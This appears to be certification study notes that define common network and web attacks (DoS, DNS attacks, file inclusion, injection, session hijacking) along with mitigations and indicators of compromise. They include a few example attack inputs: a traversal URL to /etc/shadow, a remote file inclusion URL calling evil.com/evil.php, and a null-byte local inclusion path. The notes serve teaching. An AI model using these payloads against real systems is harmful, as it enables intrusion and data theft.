Denial of Service (DoS): Attack that attempts to make a computer/server’s resources unavailable.
Types:
Flood Attack: Attempts to send more packets to a single server or host than it can handle.
SYN Flood: Attacker initiates multiple TCP sessions but never completes the three-way handshake.
Permanent Denial of Service (PDoS): Attack that reflashes firmware to permanently break a network device.
Fork Bomb: Large number of processes created to use up processing power.
Distributed Denial of Service
More machines are used to launch an attack simultaneously against a single server to create DoS condition.
DNS Amplification Attack
Specialized DDoS that allows an attacker to initiate DNS requests from a spoofed IP address to flood a website. Amplified because the request from Bot to DNS server is small, but the request from the DNS server to the User is full of information.
Mitigations
Blackhole/Sinkhole: Route attacking IP interfaces to a null interface. This is a temporary solution as attackers can just move.
Intrusion Prevention: Can handle small attacks.
Elastic Cloud Infrastructure: Ride out a DDoS by using infrastructure that scales.
DNS Attacks
DNS Translates domain names into IP addresses.
DNS Cache Poisoning: Corrupt DNS cache data of a DNS resolve with false information.
DNS Amplification Attacks: Target system overloaded with DNS response traffic by exploiting DNS resolution process.
DNS Tunneling: Use DNS protocol over port 53 to encase non-DNS traffic, trying to evade firewall rules for Command and Control or data exfiltration.
Domain Hijacking: Alter domain name’s registration without original registrant’s consent.
DNS Zone Transfer Attacks: Attacker mimics an unauthorized system to request and obtain the entire DNS zone data for a domain.
Example: Hijack v. Transfer
Domain Hijacking changes the domain registration (ownership status) at the registrar level.
DNS Zone Transfer steals the entire zone file (DNS records mapping) by exploiting AXFR requests.
Directory Traversal Attack
Type of injection attack that allows access to commands, files, and directories; either connected to web document root directory or not (e.g., example.com/../../etc/shadow).
File Inclusion
Allows attacker to either download files from arbitrary location or upload an executable or script file to open a backdoor.
Remote File Inclusion: When attacker tries to execute a script to inject a remote file (e.g., example.com/login.php?user=http://evil.com/evil.php).
Local File Inclusion: Attacker tries to add a file that already exists (e.g., example.com/login.php?user=../../Windows/system32/cmd.exe%00).
Exam Tip: If you see ../ in logs, think of directory traversal or file inclusion.
Execution and Escalation Attacks
Arbitrary Code Execution: Vulnerability that allows attacker to run code or module that exploits a vulnerability.
Remote Code Execution: Type of arbitrary code execution that allows an attacker to transmit code from a remote host.
Privilege Escalation: Occurs when attacker accesses or modifies specific resources they are not entitled to normally access.
Rootkits: Class of malware that modifies system files, often at kernel level, to conceal its presence.
Replay Attacks
Type of network based attack that involves maliciously repeating or delaying valid data transmissions.
Session Hijack v. Replay Attack:
Session Hijack is when attacker alters real-time data transmission; replay attack is when attacker intercepts data and decides whether to retransmit it later.
Mitigation
Use session tokens and Multi-Factor Authentication for unique authentication ID. Use latest security protocols like WPA3.
Session Hijacking
Session Management: Fundamental security component that enables web applications to identify a user.
Session Hijacking: Type of spoofing attack where host is disconnected and replaced by the attacker.
Cookie Poisoning: Modifying the contents of a cookie to be sent to a client’s browser and exploit the vulnerabilities in an application.
On-Path Attacks
On-path Attack: Attack where penetration tester puts the workstation logically between two hosts during communications.
Replay and Relay
Replay Attack: Occurs when an attacker captures valid data which is then repeated immediately or delayed and then repeated.
Relay Attack: Attackers insert themselves in-between two hosts and become part of the conversation.
Downgrade
SSL Stripping: Tricking encryption application with an HTTP connection instead of an HTTPS connection.
Downgrade Attack: Occurs when attacker attempts to have a client or server abandon its higher security mode.
Injection Attacks
LDAP Injection
Lightweight Directory Access Protocol (LDAP): Protocol for access and maintenance of distributed directory information services. LDAP Injection: Attack where LDAP statements, typically created by user input, are fabricated.
Command Injection
Command Injection: Threat actor able to execute arbitrary shell commands via vulnerable web application. Mitigation: Input validation and sanitization.
Process Injection
Method of executing arbitrary code in the address space of a separate live process.
Indicators of Compromise (IoC)
Data pieces that detect potential malicious activity on a network or system. Not all signs of compromise guarantee an actual breach.
Account lockouts: Signals compromise when triggered by numerous failed login accounts.
Concurrent session usage: One user having multiple active sessions.
Blocked content: When users try to access or download content that security measures have prevented.
Impossible travel: When suspicious logins occur from distant locations in a timeframe that makes physical travel between them impossible.
Resource consumption: Unusual resource spikes can signal a compromise (e.g., DDoS, botnet).
Resource inaccessibility: Inability to access certain resources, files, databases, or network services.
Out-of-cycle logging: Logging events happening at odd times when no one is supposed to be active.
Missing logs: Attackers deleting logs to cover their tracks and hinder investigation.